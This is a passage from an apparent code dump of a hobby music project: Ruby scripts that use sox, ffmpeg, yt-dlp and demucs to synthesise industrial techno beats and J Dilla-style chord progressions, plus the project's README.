sox(\"#{hat} _h#{bar}_#{sixteenth}.wav pad #{offset} 0 gain #{dyn}\")\n      hat_seq &lt;&lt; \"_h#{bar}_#{sixteenth}.wav\"\n    end\n  end\n\n  # Add tom fills every 4 bars\n  tom_seq = []\n  (bars / 4).times do |section|\n    bar = section * 4 + 3  # Last bar of each 4-bar section\n    base = bar * bar_sec\n    # Triple tom hit leading into next section\n    [3.0, 3.5, 3.75].each_with_index do |beat_pos, idx|\n      offset = base + beat_pos * beat_sec\n      sox(\"#{tom} _t#{bar}_#{idx}.wav pad #{offset} 0 gain -3\")\n      tom_seq &lt;&lt; \"_t#{bar}_#{idx}.wav\"\n    end\n  end\n\n  puts \"Mixing layers...\"\n\n  # Mix individual layers with padding\n  sox(\"-m #{kick_seq.join(' ')} _kicks.wav pad 0 #{total_sec}\")\n  sox(\"-m #{snare_seq.join(' ')} _snares.wav pad 0 #{total_sec}\")\n  sox(\"-m #{hat_seq.join(' ')} _hats.wav pad 0 #{total_sec}\")\n  sox(\"-m #{tom_seq.join(' ')} _toms.wav pad 0 #{total_sec}\") unless tom_seq.empty?\n\n  # Final master with industrial processing\n  layers = [\"_kicks.wav\", \"_snares.wav\", \"_hats.wav\"]\n  layers &lt;&lt; \"_toms.wav\" if File.exist?(\"_toms.wav\")\n\n  puts \"Mastering...\"\n\n  # Aggressive mastering chain for industrial sound\n  sox(\"-m #{layers.join(' ')} _premix.wav gain -n -1\")\n  sox(\"_premix.wav _compressed.wav compand 0.01,0.15 -60,-60,-20,-15,-10,-10,0,-6 -3 0 0.02\")\n  sox(\"_compressed.wav _eq.wav equalizer 60 1q +4 equalizer 120 0.7q +2 equalizer 8000 1.5q +3\")\n  sox(\"_eq.wav _final.wav overdrive 8 gain -n -1\")\n\n  # Ensure output directory exists\n  output_dir = File.dirname(OUTPUT_FILE)\n  FileUtils.mkdir_p(output_dir) unless output_dir == \".\" || File.exist?(output_dir)\n\n  # Final output\n  sox(\"_final.wav #{OUTPUT_FILE}\")\n\n  # Cleanup\n  cleanup(*kick_seq, *snare_seq, *hat_seq, *tom_seq)\n  cleanup(\"_kicks.wav\", \"_snares.wav\", \"_hats.wav\", \"_toms.wav\")\n  cleanup(\"_premix.wav\", \"_compressed.wav\", \"_eq.wav\", \"_final.wav\")\n  cleanup(kick, snare, hat, clap, tom)\n\n  puts \"\\n[+] Generated: #{OUTPUT_FILE}\"\n  puts \"  Duration: #{total_sec.round(2)}s (#{bars} bars at #{tempo} BPM)\"\nend\n\n# MAIN\n\nif __FILE__ == $PROGRAM_NAME\n  puts \"\\n\" + (\"=\" * 70)\n  puts \"BURST - Industrial Techno Generator\"\n  puts \"=\" * 70\n  puts \"\"\n\n  generate_industrial_techno(TEMPO, BARS)\n\n  puts \"\\n\" + (\"=\" * 70)\n  puts \"COMPLETE\"\n  puts \"=\" * 70\n  puts \"\"\nend\n```\n\n## `dilla.rb`\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n# Dilla - J Dilla Music Generation &amp; Playback\n# Version: 5.0.0 - Consolidated per master.json (zero sprawl)\n#\n# Usage:\n#   ruby dilla.rb              # Interactive menu\n#   ruby dilla.rb --generate   # Generate all audio\n#   ruby dilla.rb --play       # Play chords continuously\n#   ruby dilla.rb --quick      # Quick generation (5 progressions)\n\nrequire \"json\"\nrequire \"fileutils\"\n\n# CONFIGURATION\n\nBASE_DIR = ENV.fetch(\"DILLA_DIR\") { File.expand_path(\"~/dilla\") }\nSOX = %w[sox /usr/local/bin/sox /usr/bin/sox].find { |p| system(\"which #{p} &gt; /dev/null 2&gt;&amp;1\") } || \"sox\"\nCHORDS_DIR = \"#{BASE_DIR}/chords\"\nDRUMS_DIR  = \"#{BASE_DIR}/drums\"\nBASS_DIR   = \"#{BASE_DIR}/bass\"\nFINAL_DIR  = \"#{BASE_DIR}/final\"\n\nFileUtils.mkdir_p([CHORDS_DIR, DRUMS_DIR, BASS_DIR, FINAL_DIR])\n\n# FM Synthesis FX Presets\nFX_PRESETS = {\n  warm_tape: \"compand 0.3,1 -inf,-70,-60,-20 -5 -90 0.2 reverb 35 50 80 norm -2 dither -s\",\n  lofi_dream: \"compand 0.05,0.2 -inf,-70,-50,-20 -6 -90 0.1 reverb 40 60 90 norm -2 dither -s\",\n  dilla_butter: \"compand 0.1,0.3 -inf,-70,-55,-20 -6 -90 0.15 reverb 30 50 85 norm -2 dither -s\",\n  analog_lush: \"compand 0.2,0.4 -inf,-65,-50,-30 -5 -90 0.18 reverb 45 60 95 norm -2 dither -s\"\n}\n\n# Hall of Fame Chord Progressions\nPROGRESSIONS = {\n  dilla_life: {\n    name: \"J Dilla 'Life'\", tempo: 90, duration: 2.0, fx: :dilla_butter,\n    chords: [\n      { name: 'Bbm9', freqs: [116.54, 174.61, 220.00, 261.63, 329.63] },\n      { name: 'C7', freqs: [130.81, 164.81, 196.00, 233.08, 293.66] },\n      { name: 'Fm9', freqs: [174.61, 207.65, 261.63, 311.13, 392.00] },\n      { name: 'Bbm9', freqs: [116.54, 174.61, 220.00, 261.63, 329.63] }\n    ]\n  },\n  neo_soul: {\n    name: \"Neo-Soul Classic\", tempo: 90, duration: 2.0, fx: :warm_tape,\n    chords: [\n      { name: 'Cmaj9', freqs: [130.81, 164.81, 196.00, 246.94, 329.63] },\n      { name: 'Am11', freqs: [110.00, 164.81, 220.00, 261.63, 329.63] },\n      { name: 'Fmaj13', freqs: [174.61, 220.00, 261.63, 329.63, 440.00] },\n      { name: 'G13sus', freqs: [196.00, 261.63, 293.66, 392.00, 493.88] }\n    ]\n  },\n  dreamscape: {\n    name: \"Dilla Dreamscape\", tempo: 85, duration: 2.5, fx: :lofi_dream,\n    chords: [\n      { name: 'Ebmaj9', freqs: [155.56, 196.00, 233.08, 293.66, 369.99] },\n      { name: 'Cm9', freqs: [130.81, 155.56, 196.00, 233.08, 293.66] },\n      { name: 'Abmaj13', freqs: [207.65, 261.63, 311.13, 415.30, 523.25] },\n      { name: 'Bb13sus', freqs: [233.08, 311.13, 349.23, 466.16, 587.33] }\n    ]\n  },\n  floating: {\n    name: \"Floating Rhodes\", tempo: 92, duration: 2.0, fx: :analog_lush,\n    chords: [\n      { name: 'Dmaj9', freqs: [146.83, 185.00, 220.00, 277.18, 369.99] },\n      { name: 'Bm11', freqs: [123.47, 185.00, 246.94, 293.66, 369.99] },\n      { name: 'Gmaj9#11', freqs: [196.00, 246.94, 293.66, 392.00, 493.88] },\n      { name: 'A13sus', freqs: [220.00, 293.66, 329.63, 440.00, 554.37] }\n    ]\n  },\n  soulquarian: {\n    name: \"Soulquarian Butter\", tempo: 96, duration: 2.0, fx: :dilla_butter,\n    chords: [\n      { name: 'Fmaj9', freqs: [174.61, 220.00, 261.63, 329.63, 440.00] },\n      { name: 'Dm11', freqs: [146.83, 220.00, 293.66, 349.23, 440.00] },\n      { name: 'Bbmaj13', freqs: [233.08, 293.66, 349.23, 466.16, 587.33] },\n      { name: 'C13', freqs: [130.81, 164.81, 196.00, 246.94, 329.63] }\n    ]\n  },\n  donut_shop: {\n    name: \"Donut Shop Dreams\", tempo: 82, duration: 2.5, fx: :lofi_dream,\n    chords: [\n      { name: 'Amaj9', freqs: [110.00, 138.59, 164.81, 207.65, 277.18] },\n      { name: 'F#m11', freqs: [92.50, 138.59, 185.00, 220.00, 277.18] },\n      { name: 'Dmaj9', freqs: [146.83, 185.00, 220.00, 277.18, 369.99] },\n      { name: 'E13sus', freqs: [164.81, 220.00, 246.94, 329.63, 415.30] }\n    ]\n  },\n  slum_village: {\n    name: \"Slum Village Glow\", tempo: 98, duration: 2.0, fx: :warm_tape,\n    chords: [\n      { name: 'Gmaj9', freqs: [196.00, 246.94, 293.66, 369.99, 493.88] },\n      { name: 'Em11', freqs: [164.81, 246.94, 329.63, 392.00, 493.88] },\n      { name: 'Cmaj13', freqs: [130.81, 164.81, 196.00, 261.63, 349.23] },\n      { name: 'D13sus', freqs: [146.83, 196.00, 220.00, 293.66, 369.99] }\n    ]\n  },\n  ethiojazz: {\n    name: \"Ethiojazz Nights\", tempo: 80, duration: 2.5, fx: :analog_lush,\n    chords: [\n      { name: 'Dm9(b5)', freqs: [146.83, 174.61, 207.65, 261.63, 329.63] },\n      { name: 'Gm11', freqs: [196.00, 293.66, 392.00, 466.16, 587.33] },\n      { name: 'Ebmaj7#11', freqs: [155.56, 196.00, 246.94, 311.13, 415.30] },\n      { name: 'Am7b13', freqs: [110.00, 130.81, 164.81, 207.65, 261.63] }\n    ]\n  },\n  ahmad_jamal: {\n    name: \"Ahmad Jamal 'Awakening'\", tempo: 88, duration: 2.2, fx: :dilla_butter,\n    chords: [\n      { name: 'Emaj7', freqs: [164.81, 207.65, 246.94, 311.13] },\n      { name: 'G#m7', freqs: [207.65, 246.94, 311.13, 369.99] },\n      { name: 'C#m7', freqs: [138.59, 164.81, 207.65, 246.94] },\n      { name: 'F#9', freqs: [92.50, 116.54, 138.59, 174.61, 220.00] }\n    ]\n  },\n  isley_brothers: {\n    name: \"Isley Brothers Style\", tempo: 92, duration: 2.0, fx: :analog_lush,\n    chords: [\n      { name: 'Gbmaj9', freqs: [185.00, 233.08, 277.18, 349.23, 466.16] },\n      { name: 'Ebm11', freqs: [155.56, 233.08, 311.13, 369.99, 466.16] },\n      { name: 'Abm9', freqs: [207.65, 246.94, 311.13, 369.99, 493.88] },\n      { name: 'Db13', freqs: [138.59, 174.61, 207.65, 261.63, 349.23] }\n    ]\n  }\n}\n\n# CORE AUDIO ENGINE\n\ndef sox(*args)\n  cmd = \"\\\"#{SOX}\\\" #{args.join(' ')}\"\n  system(cmd)\nend\n\ndef cleanup(*files)\n  files.each { |f| File.delete(f) rescue StandardError if File.exist?(f) }\nend\n\n# FM Synthesis: 3-layer (sawtooth + square + sine)\ndef generate_chord(freqs, duration, output)\n  voices = freqs.each_with_index.map do |freq, i|\n    sox(\"-n saw#{i}.wav synth #{duration} sawtooth #{freq} gain -18\")\n    sox(\"-n sqr#{i}.wav synth #{duration} square #{freq} gain -20\")\n    sox(\"-n sin#{i}.wav synth #{duration} sine #{freq} gain -16\")\n    file = \"v#{i}.wav\"\n    sox(\"-m saw#{i}.wav sqr#{i}.wav sin#{i}.wav #{file}\")\n    cleanup(\"saw#{i}.wav\", \"sqr#{i}.wav\", \"sin#{i}.wav\")\n    file\n  end\n  sox(\"-m #{voices.join(' ')} #{output}\")\n  cleanup(*voices)\nend\n\ndef apply_fx(input, output, preset_name)\n  preset = FX_PRESETS[preset_name] || FX_PRESETS[:dilla_butter]\n  sox(\"#{input} #{output} #{preset}\")\nend\n\n# GENERATION\n\ndef generate_chords(quick_mode: false)\n  puts \"\\n\ud83c\udfb9 Generating J Dilla Chord Progressions...\"\n  puts \"=\" * 60\n\n  progs = quick_mode ? PROGRESSIONS.first(5) : PROGRESSIONS\n\n  progs.each do |key, prog|\n    puts \"\\n#{prog[:name]} (#{prog[:fx]})\"\n\n    chord_files = prog[:chords].map.with_index do |chord, i|\n      file = \"c#{i}.wav\"\n      generate_chord(chord[:freqs], prog[:duration], file)\n      print \"  #{chord[:name]}... \"\n      file\n    end\n    puts\n\n    sox(\"#{chord_files.join(' ')} #{chord_files.join(' ')} temp.wav\")\n    output = \"#{CHORDS_DIR}/#{key}.wav\"\n    apply_fx(\"temp.wav\", output, prog[:fx])\n    cleanup(\"temp.wav\", *chord_files)\n    puts \"  \u2713 #{output}\"\n  end\n\n  puts \"\\n\u2713 Generated #{progs.size} progressions\"\nend\n\n# PLAYBACK\n\ndef play_chords_continuous\n  chord_files = Dir[\"#{CHORDS_DIR}/*.wav\"].sort\n\n  if chord_files.empty?\n    puts \"\\n\u26a0\ufe0f  No chord files found. Generate first with --generate\"\n    return\n  end\n\n  puts \"\\n\ud83c\udfb5 Playing Dilla chords continuously...\"\n  puts \"\ud83d\udcc2 Files: #{chord_files.size}\"\n  puts \"\ud83d\udd04 Press Ctrl+C to stop\\n\\n\"\n\n  sox(\"#{chord_files.join(' ')} -t waveaudio -d repeat 999\")\nend\n\ndef play_single_progression(key)\n  file = \"#{CHORDS_DIR}/#{key}.wav\"\n\n  unless File.exist?(file)\n    puts \"\\n\u26a0\ufe0f  File not found: #{file}\"\n    puts \"Available progressions: #{PROGRESSIONS.keys.join(', ')}\"\n    return\n  end\n\n  puts \"\\n\ud83c\udfb5 Playing: #{PROGRESSIONS[key][:name]}\"\n  sox(\"#{file} -t waveaudio -d\")\nend\n\n# INTERACTIVE MENU\n\ndef show_menu\n  puts \"\\n\" + \"=\" * 60\n  puts \"\ud83c\udfb9 DILLA - J Dilla Music Generator &amp; Player\"\n  puts \"=\" * 60\n  puts\n  puts \"1. Generate All Chords (#{PROGRESSIONS.size} progressions, ~5-8 min)\"\n  puts \"2. Generate Quick Test (5 progressions, ~2 min)\"\n  puts \"3. Play All Chords Continuously (loop)\"\n  puts \"4. Play Single Progression\"\n  puts \"5. List Available Progressions\"\n  puts \"6. Exit\"\n  puts\n  print \"Choose [1-6]: \"\n  gets.chomp\nend\n\ndef list_progressions\n  puts \"\\n\ud83d\udccb Available Progressions:\"\n  puts \"-\" * 60\n  PROGRESSIONS.each do |key, prog|\n    exists = File.exist?(\"#{CHORDS_DIR}/#{key}.wav\") ? \"\u2713\" : \"\u2717\"\n    puts \"#{exists} #{key.to_s.ljust(20)} - #{prog[:name]} (#{prog[:tempo]} BPM)\"\n  end\nend\n\ndef interactive_mode\n  loop do\n    choice = show_menu\n\n    case choice\n    when \"1\"\n      generate_chords\n    when \"2\"\n      generate_chords(quick_mode: true)\n    when \"3\"\n      play_chords_continuous\n    when \"4\"\n      list_progressions\n      print \"\\nEnter progression key: \"\n      key = gets.chomp.to_sym\n      play_single_progression(key)\n    when \"5\"\n      list_progressions\n    when \"6\", \"q\", \"quit\", \"exit\"\n      puts \"\\n\ud83d\udc4b Goodbye!\"\n      exit 0\n    else\n      puts \"\\n\u26a0\ufe0f  Invalid choice. Try again.\"\n    end\n  end\nend\n\n# CLI\n\nif __FILE__ == $PROGRAM_NAME\n  case ARGV[0]\n  when \"--generate\", \"-g\"\n    generate_chords\n  when \"--quick\", \"-q\"\n    generate_chords(quick_mode: true)\n  when \"--play\", \"-p\"\n    play_chords_continuous\n  when \"--list\", \"-l\"\n    list_progressions\n  when \"--help\", \"-h\"\n    puts &lt;&lt;~HELP\n      Dilla - J Dilla Music Generator &amp; Player\n\n      Usage:\n        ruby dilla.rb              # Interactive menu\n        ruby dilla.rb --generate   # Generate all progressions\n        ruby dilla.rb --quick      # Quick test (5 progressions)\n        ruby dilla.rb --play       # Play continuously\n        ruby dilla.rb --list       # List progressions\n\n      Features:\n        - 10 iconic J Dilla chord progressions\n        - FM synthesis (sawtooth + square + sine)\n        - Hall of Fame FX presets\n        - Continuous playback mode\n    HELP\n  else\n    interactive_mode\n  end\nend\n```\n\n## `dilla/README.md`\n```markdown\n# Dilla Lab\n\n`DEPLOY/dilla` is a small audio lab for Dilla-inspired groove sketches, sample cleanup, stem handling, and local render experiments.\n\n## Entrypoints\n\n- `dilla.rb`: main command surface for scan, source capture, stem separation, rhythm/chord study, render, cleanup, grading, and playback helpers.\n- `dilla_hiphop.rb`: ffmpeg synthesis of an MPC-style 86 BPM beat.\n- `electronium.rb`: safe MIDI-only Raymond Scott / J Dilla Electronium generator inspired by the referenced gist. It requires `midilib` but does not auto-install gems, fetch the network, or shell out to render audio.\n- `dilla_lab.html`: browser lab for microtimed pattern sketching.\n- `play.html`: static player surface.\n\n## Electronium\n\nGenerate a MIDI file:\n\n```sh\nruby DEPLOY/dilla/electronium.rb DEPLOY/dilla/dilla_electronium.mid\n```\n\nOptional knobs:\n\n```sh\nBPM=84 BARS=16 ruby DEPLOY/dilla/electronium.rb /tmp/dilla.mid\n```\n\nThe gist at `https://gist.github.com/anon987654321/3831126ddcbc401c10b6c73435f776fe` contains two source sketches, `dilla_deepseek.rb` and `dilla_glm.rb`. The repo version keeps their core idea, but removes automatic dependency installation and renderer shell commands so the generator is predictable in deploy and audit contexts.\n\n## Cleanup Rules\n\n- Keep generated audio artifacts intentional and named.\n- Do not add auto-installing scripts.\n- Keep external sampling/downloading behind explicit commands in `dilla.rb`.\n- Prefer MIDI or manifest outputs for reviewable generative experiments.\n```\n\n## `dilla/dilla.rb`\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n\nrequire \"fileutils\"\nrequire \"json\"\nrequire \"open3\"\n\nROOT = File.expand_path(__dir__)\nSAMPLE_DIR = File.join(ROOT, \"samples\")\nSTEM_DIR = File.join(ROOT, \"stems\")\nSAMPLE_CLEAN = File.join(SAMPLE_DIR, \"clean_harmonic.wav\")\nDEFAULT_BPM = 86.0\nDEFAULT_BARS = 88\nSAMPLE_RATE = 44_100\nPITCH_CLASSES = %w[C Db D Eb E F Gb G Ab A Bb B].freeze\nPAD_CHORDS = [\n  { name: \"Fm9\", hz: [174.61, 207.65, 261.63, 311.13, 392.00] },\n  { name: \"Dbmaj9\", hz: [138.59, 174.61, 207.65, 261.63, 311.13] },\n  { name: \"Cm9\", hz: [130.81, 155.56, 196.00, 233.08, 293.66] },\n  { name: \"Ebmaj9\", hz: [155.56, 196.00, 233.08, 293.66, 349.23] },\n  { name: \"Abmaj9\", hz: [207.65, 261.63, 311.13, 392.00, 466.16] },\n  { name: \"Dm9\", hz: [146.83, 174.61, 220.00, 261.63, 329.63] },\n  { name: \"Gm9\", hz: [196.00, 233.08, 293.66, 349.23, 440.00] },\n  { name: \"Bm7b5+9\", hz: [123.47, 146.83, 174.61, 220.00, 261.63] },\n  { name: \"E altered\", hz: [164.81, 196.00, 233.08, 293.66, 349.23] },\n  { name: \"Am9\", hz: [110.00, 130.81, 164.81, 196.00, 246.94] },\n  { name: \"Bbm9\", hz: [116.54, 138.59, 174.61, 207.65, 261.63] },\n  { name: \"Gbmaj9\", hz: [92.50, 116.54, 138.59, 174.61, 207.65] },\n  { name: \"C cluster\", hz: [130.81, 138.59, 196.00, 233.08, 311.13] }\n].freeze\nCOMMANDS = %w[scan sweep council debug sample source livestream separate render verify chords clean stems study rhythm melody harmony semantics ears play live bass grade grade_list].freeze\n# Analog stock characters \u2014 digital signal equivalents of film stock data.\n# noise_amp: RMS amplitude of the noise floor (\u2248tape hiss level)\n# sat_drive: tanh waveshaper drive (1.0 = light tube warmth, 3.0 = heavy tape saturation)\n# rolloff_hz: high-frequency bandwidth limit (anti-halation backing \u2194 tape formulation)\n# wow_rate: LFO rate in Hz for pitch modulation (reciprocity failure \u2194 capstan speed variance)\n# wow_depth: LFO depth [0,1] (tape tension variation)\n# warmth_db: low-frequency shelf boost in dB (color temperature \u2194 tonal weight)\nAUDIO_STOCKS = {\n  tape_250:  { noise_amp: 0.003, sat_drive: 1.4, rolloff_hz: 14_500, wow_rate: 0.40, wow_depth: 0.003, warmth_db: 2.5 },\n  tape_500:  { noise_amp: 0.006, sat_drive: 2.2, rolloff_hz: 12_500, wow_rate: 0.45, wow_depth: 0.004, warmth_db: 4.0 },\n  vinyl:     { noise_amp: 0.009, sat_drive: 1.0, rolloff_hz: 18_000, wow_rate: 0.50, wow_depth: 0.015, warmth_db: 2.0 },\n  cassette:  { noise_amp: 0.015, sat_drive: 0.8, rolloff_hz: 10_500, wow_rate: 0.50, wow_depth: 0.025, warmth_db: 1.5 },\n  acetate:   { noise_amp: 0.022, sat_drive: 1.1, rolloff_hz:  9_500, wow_rate: 0.80, wow_depth: 0.040, warmth_db: 5.0 },\n}.freeze\n\n# Analog grade presets \u2014 concept map:\n# tape_saturation  \u2194 H&amp;D film curve (soft-knee waveshaper)\n# analog_noise     \u2194 Newson-Delon grain (noise floor with midtone envelope)\n# harmonic_bloom   \u2194 halation (even-harmonic enrichment, energy bleeding adjacent)\n# spectral_warmth  \u2194 color temperature EQ\n# parallel_compress\u2194 bleach bypass (parallel NY compression)\n# multiband_tone   \u2194 split toning / split grade\n# wow_flutter      \u2194 reciprocity failure (pitch/time modulation)\n# vinyl_crackle    \u2194 faded print (aging artifacts)\n# transient_sharpen\u2194 micro-contrast (presence boost)\n# stereo_width     \u2194 chromatic aberration (M/S spread)\nGRADE_PRESETS = {\n  tape_warm:   { fx: %w[spectral_warmth tape_saturation analog_noise transient_sharpen], stock: :tape_250 },\n  tape_hot:    { fx: %w[tape_saturation harmonic_bloom analog_noise multiband_tone],      stock: :tape_500 },\n  vinyl_press: { fx: %w[spectral_warmth analog_noise wow_flutter vinyl_crackle],          stock: :vinyl    },\n  lo_fi:       { fx: %w[spectral_warmth tape_saturation analog_noise wow_flutter],        stock: :cassette },\n  broadcast:   { fx: %w[parallel_compress multiband_tone transient_sharpen],              stock: :tape_250 },\n  sp1200:      { fx: %w[tape_saturation analog_noise transient_sharpen],                  stock: :tape_500 },\n}.freeze\n\n# J Dilla drunk quantization: deliberate timing displacement from the grid.\n# Each hit is offset by \u00b1DRUNK_MAX_MS milliseconds of random swing \u2014 the\n# characteristic feel of an MPC3000 played slightly loose on purpose.\nDRUNK_MAX_MS = 22\n\nCHORD_TEMPLATES = {\n  \"maj\" =&gt; [0, 4, 7],\n  \"min\" =&gt; [0, 3, 7],\n  \"7\" =&gt; [0, 4, 7, 10],\n  \"maj7\" =&gt; [0, 4, 7, 11],\n  \"m7\" =&gt; [0, 3, 7, 10],\n  \"m9\" =&gt; [0, 3, 7, 10, 2],\n  \"maj9\" =&gt; [0, 4, 7, 11, 2],\n  \"sus\" =&gt; [0, 5, 7],\n  \"dim\" =&gt; [0, 3, 6]\n}.freeze\n\ndef sh!(*command)\n  puts \"&gt;&gt;&gt; #{command.flatten.join(' ')}\"\n  abort \"failed: #{command.flatten.first}\" unless system(*command.flatten.map(&amp;:to_s))\nend\n\ndef capture(*command)\n  Open3.capture3(*command.flatten.map(&amp;:to_s))\nend\n\ndef tool_available?(name)\n  ENV.fetch(\"PATH\", \"\").split(File::PATH_SEPARATOR).any? { |directory| File.executable?(File.join(directory, name)) }\nend\n\ndef prompt(label)\n  print \"#{label}: \"\n  value = STDIN.gets&amp;.strip\n  abort \"missing #{label}\" if value.nil? || value.empty?\n  value\nend\n\ndef bpm\n  (ENV[\"BPM\"] || DEFAULT_BPM).to_f\nend\n\ndef bars\n  (ENV[\"BARS\"] || DEFAULT_BARS).to_i\nend\n\ndef beat_seconds\n  60.0 / bpm\nend\n\ndef render_seconds\n  (beat_seconds * 4.0 * bars).round(3)\nend\n\ndef chord_expression\n  cycle = (PAD_CHORDS.length * 8.0 * beat_seconds).round(4)\n  PAD_CHORDS.each_with_index.map do |chord, chord_index|\n    start_seconds = chord_index * 8.0 * beat_seconds\n    stop_seconds = start_seconds + 8.0 * beat_seconds\n    voices = chord[:hz].each_with_index.map do |frequency, voice_index|\n      detune = 1.0 + ((voice_index - 2) * 0.0015)\n      gain = 0.018 + (voice_index * 0.002)\n      \"#{gain.round(4)}*sin(2*PI*#{(frequency * detune).round(4)}*t)\"\n    end.join(\"+\")\n    \"between(mod(t,#{cycle}),#{start_seconds.round(4)},#{stop_seconds.round(4)})*(#{voices})\"\n  end.join(\"+\")\nend\n\ndef scan\n  puts JSON.pretty_generate(\n    root: ROOT,\n    bpm: bpm,\n    bars: bars,\n    seconds: render_seconds,\n    files: {\n      ruby: File.exist?(__FILE__),\n      html: File.exist?(File.join(ROOT, \"dilla.html\")),\n      clean_harmonic: File.exist?(SAMPLE_CLEAN)\n    },\n    tools: {\n      ffmpeg: tool_available?(\"ffmpeg\"),\n      ffprobe: tool_available?(\"ffprobe\"),\n      yt_dlp: tool_available?(\"yt-dlp\"),\n      demucs: tool_available?(\"demucs\")\n    },\n    commands: COMMANDS\n  )\nend\n\ndef council\n  puts \"MASTER council\"\n  puts \"preserve existing command surface\"\n  puts \"separate source capture, demucs, rhythm study, melody study\"\n  puts \"add harmony and semantic texture evidence\"\n  puts \"feed ears metrics into MASTER before aesthetic judgment\"\n  puts \"keep render, clean, stems, chords intact\"\nend\n\ndef source(input = nil, output = nil)\n  input ||= prompt(\"audio path or URL\")\n  output ||= File.join(SAMPLE_DIR, \"source.wav\")\n  FileUtils.mkdir_p(File.dirname(output))\n  return convert_audio(input, output) if File.exist?(input)\n  download_track(input, output)\nend\n\ndef livestream(input = nil, output = nil)\n  input ||= prompt(\"livestream URL\")\n  output ||= File.join(SAMPLE_DIR, \"livestream.wav\")\n  seconds_to_capture = (ENV[\"LIVE_SECONDS\"] || 600).to_i\n  abort \"yt-dlp required\" unless tool_available?(\"yt-dlp\")\n  abort \"ffmpeg required\" unless tool_available?(\"ffmpeg\")\n  media_url = direct_media_url(input)\n  FileUtils.mkdir_p(File.dirname(output))\n  sh! \"ffmpeg\", \"-y\", \"-t\", seconds_to_capture.to_s, \"-i\", media_url, \"-ac\", \"2\", \"-ar\", SAMPLE_RATE.to_s, \"-c:a\", \"pcm_s16le\", output\n  puts \"wrote #{output}\"\n  output\nend\n\ndef sample\n  path = source(nil, File.join(SAMPLE_DIR, \"source.wav\"))\n  separated = separate(path)\n  harmonic = separated.fetch(\"other\")\n  clean(harmonic, SAMPLE_CLEAN)\nend\n\ndef separate(input = nil)\n  input ||= prompt(\"audio path or URL\")\n  wav = File.exist?(input) ? input : source(input, File.join(SAMPLE_DIR, \"source.wav\"))\n  abort \"demucs required\" unless tool_available?(\"demucs\")\n  FileUtils.mkdir_p(STEM_DIR)\n  sh! \"demucs\", \"-n\", \"htdemucs_ft\", \"-o\", STEM_DIR, wav\n  map = latest_stems\n  puts JSON.pretty_generate(map)\n  map\nend\n\ndef latest_stems\n  files = Dir[File.join(STEM_DIR, \"**\", \"*.wav\")]\n  abort \"no stems found\" if files.empty?\n  newest_directory = files.group_by { |path| File.dirname(path) }.max_by { |_directory, paths| paths.map { |path| File.mtime(path) }.max }.first\n  stem_paths(Dir[File.join(newest_directory, \"*.wav\")])\nend\n\ndef download_track(url, output)\n  abort \"yt-dlp required\" unless tool_available?(\"yt-dlp\")\n  abort \"ffmpeg required\" unless tool_available?(\"ffmpeg\")\n  temporary = File.join(SAMPLE_DIR, \"download.%(ext)s\")\n  sh! \"yt-dlp\", \"-f\", \"bestaudio\", \"--extract-audio\", \"--audio-format\", \"wav\", url, \"-o\", temporary\n  downloaded = Dir[File.join(SAMPLE_DIR, \"download.wav\")].max_by { |path| File.mtime(path) }\n  abort \"download produced no wav\" unless downloaded\n  FileUtils.mv(downloaded, output)\n  puts \"wrote #{output}\"\n  output\nend\n\ndef direct_media_url(url)\n  output, error, status = capture(\"yt-dlp\", \"-g\", \"-f\", \"bestaudio\", url)\n  abort error unless status.success?\n  media_url = output.lines.first&amp;.strip\n  abort \"yt-dlp returned no media URL\" if media_url.nil? || media_url.empty?\n  media_url\nend\n\ndef convert_audio(input, output)\n  abort \"ffmpeg required\" unless tool_available?(\"ffmpeg\")\n  sh! \"ffmpeg\", \"-y\", \"-i\", input, \"-ac\", \"2\", \"-ar\", SAMPLE_RATE.to_s, \"-c:a\", \"pcm_s16le\", output\n  puts \"wrote #{output}\"\n  output\nend\n\ndef render(destination = File.join(ROOT, \"full_track.mp3\"))\n  abort \"ffmpeg required\" unless tool_available?(\"ffmpeg\")\n  FileUtils.mkdir_p(File.dirname(destination))\n  duration = render_seconds\n  kick_period = (beat_seconds * 2.0).round(6)\n  command = [\"ffmpeg\", \"-y\"]\n  command += [\"-f\", \"lavfi\", \"-i\", \"aevalsrc='#{chord_expression}':d=#{duration}:s=#{SAMPLE_RATE}\"]\n  command += [\"-f\", \"lavfi\", \"-i\", \"aevalsrc='0.16*sin(2*PI*49*t)*exp(-mod(t,#{beat_seconds.round(6)})*3.1)':d=#{duration}:s=#{SAMPLE_RATE}\"]\n  command += [\"-f\", \"lavfi\", \"-i\", \"aevalsrc='0.58*sin(2*PI*(45+90*exp(-mod(t,#{kick_period})*18))*t)*exp(-mod(t,#{kick_period})*9)':d=#{duration}:s=#{SAMPLE_RATE}\"]\n  command += [\"-f\", \"lavfi\", \"-i\", \"aevalsrc='0.13*(random(0)-0.5)*lt(mod(t+#{beat_seconds.round(6)},#{kick_period}),0.08)*exp(-mod(t+#{beat_seconds.round(6)},#{kick_period})*28)':d=#{duration}:s=#{SAMPLE_RATE}\"]\n  command += [\"-f\", \"lavfi\", \"-i\", \"aevalsrc='0.035*(random(0)-0.5)*lt(mod(t,#{(beat_seconds / 2.0).round(6)}),0.035)*exp(-mod(t,#{(beat_seconds / 2.0).round(6)})*80)':d=#{duration}:s=#{SAMPLE_RATE}\"]\n  sample_input = nil\n  if File.exist?(SAMPLE_CLEAN)\n    sample_input = 5\n    command += [\"-stream_loop\", \"-1\", \"-i\", SAMPLE_CLEAN]\n  end\n  command += [\"-filter_complex\", render_filter(duration, sample_input), \"-map\", \"[out]\", \"-t\", duration.to_s, *codec_for(destination), destination]\n  sh!(*command)\n  puts \"wrote #{destination}\"\nend\n\ndef render_filter(duration, sample_input)\n  filter = []\n  filter &lt;&lt; \"[0:a]aformat=channel_layouts=stereo,lowpass=f=3300,adelay=7|13[ep]\"\n  filter &lt;&lt; \"[1:a]aformat=channel_layouts=stereo,lowpass=f=160[bass]\"\n  filter &lt;&lt; \"[2:a]aformat=channel_layouts=stereo,lowpass=f=140[kick]\"\n  filter &lt;&lt; \"[3:a]aformat=channel_layouts=stereo,highpass=f=900,lowpass=f=5000[snare]\"\n  filter &lt;&lt; \"[4:a]aformat=channel_layouts=stereo,highpass=f=6500[hats]\"\n  labels = %w[[ep] [bass] [kick] [snare] [hats]]\n  weights = %w[1.00 0.80 0.72 0.55 0.24]\n  if sample_input\n    filter &lt;&lt; \"[#{sample_input}:a]aformat=channel_layouts=stereo,atrim=0:#{duration},asetpts=PTS-STARTPTS,highpass=f=70,lowpass=f=12000[sample]\"\n    labels &lt;&lt; 